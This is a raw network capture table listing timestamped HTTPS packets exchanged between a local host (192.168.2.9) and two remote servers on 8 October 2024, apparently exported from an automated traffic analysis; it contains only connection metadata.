Oct 8, 2024 20:52:14.923574924 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923590899 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923636913 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.923641920 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923686028 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.923818111 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923834085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923882008 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.923886061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.923908949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.923928022 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.924088001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924103022 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924149990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.924155951 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924185038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.924196959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.924876928 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924891949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924949884 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.924954891 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.924997091 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.022515059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.022546053 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.022610903 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.022649050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.022667885 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.023375988 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.023441076 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.023452997 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.023485899 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.023514032 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.023540974 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.023999929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024043083 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024063110 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.024071932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024099112 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.024110079 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.024329901 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024372101 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024389982 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.024396896 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.024494886 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.024494886 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025093079 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025134087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025156021 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025163889 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025193930 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025211096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025335073 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025384903 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025394917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025408983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025439024 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025459051 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025664091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025707006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025727987 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025734901 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025762081 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025782108 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.025960922 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.025993109 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.026022911 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.026027918 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.026040077 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.026063919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.026681900 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.044804096 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.049491882 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.083067894 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.098706007 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.101568937 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.115226984 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115289927 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115328074 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.115355015 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115367889 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.115395069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.115880013 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115927935 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115952015 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.115958929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.115979910 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.116004944 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.116673946 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.116717100 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.116738081 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.116741896 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.116770983 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.116786003 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.117023945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.117063046 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.117085934 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.117090940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.117120028 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.117134094 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.117952108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.117990971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118016005 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118020058 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118077040 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118119001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118160009 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118177891 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118181944 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118231058 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118231058 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118298054 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118340015 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118366957 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118371010 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118393898 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118412971 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118814945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118855000 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118885994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118891954 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.118921041 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.118937969 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.168272972 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.207583904 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.207612991 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.207696915 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.207727909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.207771063 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.208359003 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.208375931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.208417892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.208424091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.208436966 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.208462954 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.209183931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209198952 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209254026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.209259033 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209296942 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.209462881 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209475994 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209515095 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.209520102 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.209539890 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.209552050 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.210628986 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.210670948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.210689068 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.210694075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.210728884 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.210747004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.211826086 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.211853027 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.211895943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.211900949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.211922884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.211922884 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.211942911 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.211949110 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.211992979 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.212001085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.212014914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.212018013 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.212074995 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.226501942 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.300606012 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.300672054 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.300718069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.300750971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.300765038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.300797939 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.302619934 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.302637100 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.302692890 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.302704096 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.302735090 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.304156065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.304171085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.304225922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.304234028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.304275036 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.305830956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.305855036 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.305916071 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.305923939 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.305958986 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.305972099 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.307790995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.307837963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.307863951 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.307869911 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.307909966 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.307925940 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308367014 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308384895 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308435917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308443069 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308482885 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308770895 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308810949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308840990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308846951 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.308876038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308893919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.308953047 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.309015989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.309158087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.309223890 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.309343100 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.342693090 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.342716932 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.343316078 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.343322992 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.343811035 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.343843937 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.344409943 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.344415903 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.345187902 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.345207930 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.345755100 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.345761061 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.348643064 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.348655939 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.349098921 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.349479914 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.349488974 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.350255966 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.350276947 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.350677013 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.350684881 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.393100977 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.393122911 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.393196106 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.393223047 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.393265009 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.395184994 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.395200968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.395245075 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.395252943 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.395279884 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.395292997 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.396819115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.396836042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.396893024 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.396898985 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.396928072 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.396945953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.399640083 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.399660110 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.399717093 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.399724960 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.399749041 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.399766922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.400420904 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.400434971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.400480986 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.400486946 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.400512934 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.400537968 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.400558949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.401335955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401351929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401416063 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.401422024 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401623964 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401644945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401683092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.401690006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.401704073 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.401736021 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.402290106 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.402318954 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.402349949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.402355909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.402379036 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.402393103 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.442864895 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.442888975 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.442941904 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.442953110 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.442965984 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.443015099 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.443306923 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.444464922 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.444520950 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.444618940 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.444695950 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.444750071 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.445853949 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.445874929 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.445904016 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.445909977 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.446563959 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.446593046 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.446660995 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.446703911 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.447709084 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.447709084 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.447731972 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.447741985 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.450731993 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.450731993 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.450743914 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.450753927 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.452485085 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.452505112 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.452658892 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.452673912 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.452722073 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.452893019 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.452940941 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.453675032 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.474689960 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.474709988 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.474742889 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.474749088 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.485953093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.485975981 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.486041069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.486052036 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.486107111 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.487802029 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.487827063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.487869024 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.487875938 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.487904072 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.487922907 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.490879059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.490897894 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.490952015 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.490963936 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.490972042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.491003036 CEST	49775	443	192.168.2.9	188.114.96.3
